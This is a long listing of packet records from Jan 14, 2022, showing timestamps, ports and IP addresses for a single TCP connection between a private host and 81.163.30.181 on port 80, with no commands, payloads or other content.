Jan 14, 2022 21:06:07.850404024 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850411892 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.850425959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850436926 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.850441933 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.850451946 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850475073 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850496054 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850497007 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.850518942 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850529909 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.850542068 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850564957 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850564957 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.850585938 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850609064 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850609064 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.850630999 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850651979 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850652933 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.850675106 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850689888 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.850694895 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850717068 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850738049 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850755930 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.850758076 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850780964 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850781918 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.850802898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.850821972 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856041908 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856066942 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856091022 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856112003 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856132984 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856154919 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856175900 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856199026 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856221914 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856230021 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856245995 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856257915 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856265068 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856271029 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856271029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856275082 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856293917 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856314898 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856316090 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856339931 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856362104 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856381893 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856383085 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856406927 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856414080 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856430054 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856453896 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856453896 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856477022 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856499910 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856502056 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856522083 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856544971 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856565952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856565952 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856590033 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856601954 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856611013 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856635094 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856657028 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856657028 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856676102 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856681108 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856703997 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856724977 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856748104 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856748104 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856770992 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856775999 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856796026 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856817961 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856818914 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856842041 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856864929 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856885910 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856885910 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856908083 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856920004 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856930017 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856954098 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.856956005 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.856976032 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857000113 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857002020 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857023954 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857039928 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857048035 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857069969 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857091904 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857111931 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857115030 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857134104 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857140064 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857163906 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857187033 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857208014 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857207060 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857228994 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857234955 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857259989 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857281923 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857302904 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857304096 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857321024 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857327938 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857351065 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857373953 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857393026 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857394934 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857415915 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857419968 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857444048 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857465982 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857486963 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857490063 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857508898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857511044 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857532024 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857553959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857553959 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857574940 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857597113 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857618093 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857618093 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857639074 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857645035 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857661963 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857683897 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857686043 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857706070 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857728004 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857748985 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857749939 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857769966 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857770920 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857794046 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857815981 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857836962 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857837915 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857857943 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857871056 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857892990 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857913971 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857934952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857934952 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857955933 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.857959986 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.857980013 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858001947 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858004093 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.858023882 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858045101 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858064890 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858066082 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.858088017 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858089924 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.858110905 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858131886 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858154058 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858155012 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.858176947 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858181000 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.858200073 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858222961 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858243942 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858246088 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.858263969 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.858275890 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858298063 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858319998 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858324051 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.858341932 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858364105 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.858365059 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858386993 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858407974 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858428955 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858428955 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.858450890 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.858450890 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.858494997 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.858906031 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.863492966 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.879359007 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.907187939 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907216072 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907239914 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907263041 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907273054 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.907284975 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907309055 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907310009 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.907322884 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.907332897 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907356024 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907377005 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907397985 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.907398939 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907424927 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907428026 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.907449007 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907468081 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.907469988 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907494068 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907515049 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.907516003 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907538891 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907558918 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.907562017 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907583952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907598019 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.907605886 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907628059 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907644033 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.907649040 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907671928 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907687902 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.907692909 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907713890 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907735109 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.907735109 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.907772064 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.914908886 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.914932966 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.914954901 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.914978027 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915000916 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915014982 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915023088 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915028095 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915047884 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915069103 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915083885 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915091991 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915108919 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915116072 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915138960 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915160894 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915177107 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915184021 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915204048 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915206909 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915230989 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915254116 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915271997 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915275097 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915297985 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915298939 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915319920 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915339947 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915342093 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915364981 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915385008 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915386915 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915410042 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915430069 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915431976 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915455103 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915472984 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915477037 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915501118 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915523052 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915539980 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915544987 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915565014 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915569067 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915591955 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915613890 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915631056 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915637016 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915658951 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915659904 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915683031 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915699005 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915704012 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915728092 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915745020 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915750027 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915774107 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915785074 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915796041 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915818930 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915842056 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915853977 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915863991 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915883064 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915887117 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915910959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915932894 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915947914 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915956974 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.915976048 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.915980101 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916002989 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916026115 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916039944 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916047096 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916064024 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916071892 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916094065 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916116953 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916131020 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916138887 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916161060 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916161060 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916183949 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916199923 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916207075 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916230917 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916253090 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916253090 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916275978 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916294098 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916299105 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916325092 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916346073 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916361094 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916367054 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916389942 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916390896 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916413069 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916430950 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916435957 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916457891 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916480064 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916496038 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.916501999 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916526079 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.916528940 CET	49908	80	192.168.2.5	81.163.30.181
